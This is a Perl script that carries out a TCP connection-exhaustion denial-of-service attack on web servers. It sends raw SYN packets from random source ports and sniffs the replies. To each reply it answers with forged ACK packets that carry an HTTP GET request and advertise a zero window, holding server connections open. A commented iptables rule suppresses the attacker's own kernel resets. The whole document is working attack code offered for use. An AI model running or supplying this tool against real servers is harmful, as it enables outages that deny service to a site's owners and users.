#!/usr/bin/perl

use Net::Pcap::Easy;
use Net::RawIP;
use POSIX;
use Getopt::Std;

# Process command line arguments.
my %options;
getopts('vp:u:d:s:w:i:', \%options) or usage();
my $verbose = $options{v}; # Print progress indicators?
my $d_port = $options{p} || 80; # Destination port.
my $url = $options{u} || '/'; # URL to request.
my $d_ip = $options{d} || '127.0.0.1'; # Target host IP.
my $s_ip = $options{s} || '127.0.0.1'; # Source host IP.
my $wait_time = $options{w} || 1; # Max wait between packets (actual wait time is between 0 - $wait_time).
my $dev = $options{i} || "eth0"; # Output interface.
shift and usage(); # Complain if other args present.

#iptables -I INPUT -s $d_ip -p tcp --sport $d_port -j DROP

$|=1;

my $pid=fork();

sleep 1, die "Fork error\n" if $pid == -1;

if ($pid) {
    my $pid_ack=fork();

    sleep 1, die "Fork error\n" if $pid_ack == -1;
	
    if ($pid_ack) {
	
	my $pid_syn_ack=fork();

	sleep 1, die "Fork error\n" if $pid_syn_ack == -1;
	    
	if ($pid_syn_ack) {
	    if ($verbose) {
		print "Parent (ack: $pid_syn ack: $pid)\n";
	    }
	} else {
	    #process syn+acks
	    my $data = "GET $url HTTP/1.0\015\012\015\012"; # Two network EOLs in the end.

	    my $npe = Net::Pcap::Easy->new(
		dev              => $dev,
		filter           => "src $d_ip and dst $s_ip and src port $d_port and ( tcp[tcpflags] & tcp-syn ) != 0 and ( tcp[tcpflags] & tcp-ack ) != 0",
		packets_per_loop => 1,
		bytes_to_capture => 1500,
		timeout_in_ms    => 0, # 0ms means forever
		promiscuous      => 0, # true or false

		tcp_callback => sub {
		    my ($npe, $ether, $ip, $tcp) = @_;
    		    my $packet = new Net::RawIP({tcp => {}});

    		    if ($verbose) {
    			print "TCP syn ack: $ip->{src_ip}:$tcp->{src_port} -> $ip->{dest_ip}:$tcp->{dest_port} (seq: $tcp->{seqnum}, ack: $tcp->{acknum})\n";
		    }

    		    $packet->set(
    			{
    			    ip=> {saddr=>$ip->{dest_ip}, daddr=>$ip->{src_ip}, frag_off=>0,tos=>0, id=>int rand 50000},
    	    		    tcp=> {source=>$tcp->{dest_port}, dest=>$tcp->{src_port},
    				psh=>1, syn=>0,ack=>1, window=> 0,
				ack_seq=>++$tcp->{seqnum},
				seq=>++$tcp->{acknum},
				data=>$data
		    	    }
			}
		    );
		    eval { $packet->send; };

		},

	    );

	    1 while $npe->loop;

	}
    } else {
	#process ack
	my $npe = Net::Pcap::Easy->new(
	    dev              => $dev,
	    filter           => "src $d_ip and dst $s_ip and src port $d_port and ( tcp[tcpflags] & tcp-syn) == 0 and ( tcp[tcpflags] & tcp-ack ) != 0 ",
	    packets_per_loop => 1,
	    bytes_to_capture => 1500,
	    timeout_in_ms    => 0, # 0ms means forever
	    promiscuous      => 0, # true or false

	    tcp_callback => sub {
		my ($npe, $ether, $ip, $tcp) = @_;
    		my $packet = new Net::RawIP({tcp => {}});

    		if ($verbose) {
    		    print "TCP ack: $ip->{src_ip}:$tcp->{src_port} -> $ip->{dest_ip}:$tcp->{dest_port} (seq: $tcp->{seqnum}, ack: $tcp->{acknum})\n";
		}
		
    		$packet->set(
    		    {
    			ip=> {saddr=>$ip->{dest_ip}, daddr=>$ip->{src_ip}, frag_off=>0,tos=>0, id=>int rand 50000},
    			tcp=> {source=>$tcp->{dest_port}, dest=>$tcp->{src_port},
    			psh=>1, syn=>0,ack=>1, window=> 0,
			ack_seq=>$tcp->{seqnum},
			seq=>++$tcp->{acknum}
		      }
		    }
		);
		eval { $packet->send; };

	    },

	);

	1 while $npe->loop;

    }

    if ($verbose) {
	print "Fork ready\n";
    }
    while ($pid!=-1 or $pid_syn_ack!=-1 or $pid_ack != -1) {
	wait();
	if ($?==$pid) {
	    $pid=-1;
	} elsif ($?==$pid_syn_ack) {
	    $pid_syn_ack=-1;
	} elsif ($?==$pid_ack) {
	    $pid_ack=-1;
	}
    }
} else {
    #send syn
    if ($verbose) {
	print "Start: ".strftime("%Y-%m-%d %H:%M:%S",localtime())."\n";
    }

    my $loop_num=0;
    
    while (1) {
	my $packet = new Net::RawIP({tcp => {}});
	my $s_port = 1025 + int rand 30000; # Random source port.
	my $seq_num = int rand 2147483648; # Random sequence number.
        
	$packet->set(
    	    {
    		ip=> {saddr=>$s_ip, daddr=>$d_ip, frag_off=>0,tos=>0, id=>int rand 50000},
    		tcp=> {source=>$s_port, dest=>$d_port,
    			psh=>1, syn=>1,ack=>0, window=> 5840,
			seq=>$seq_num,
		      }
	    }
	);
	eval { $packet->send; };

	select(undef, undef, undef, rand $wait_time);

	if (($loop_num % 100) == 0) {
	    if ($verbose) {
		print "Sent: $loop_num packets\n";
	    } else {
		print $loop_num;
	    }
	} else {
	    if (!$verbose) {
		print ".";
	    }
	}
    
	$loop_num++;
    }

}

exit(0);

sub usage
{
die <<EOF;
Usage: $0 [-v -p # -d # -s # -w # -i dev -u url]
-v: Be verbose. Recommended for interactive use.
-p: Port HTTP daemon is running on (default: 80).
-d: Destination IP address (default: 127.0.0.1).
-s: Source IP address (default: 127.0.0.1).
-w: Wait between packet (default: 1 second, actual wait time varies between 0 - value).
-i: Output interface (default: `eth0').
-u: URL to request (default: `/').

EOF
}
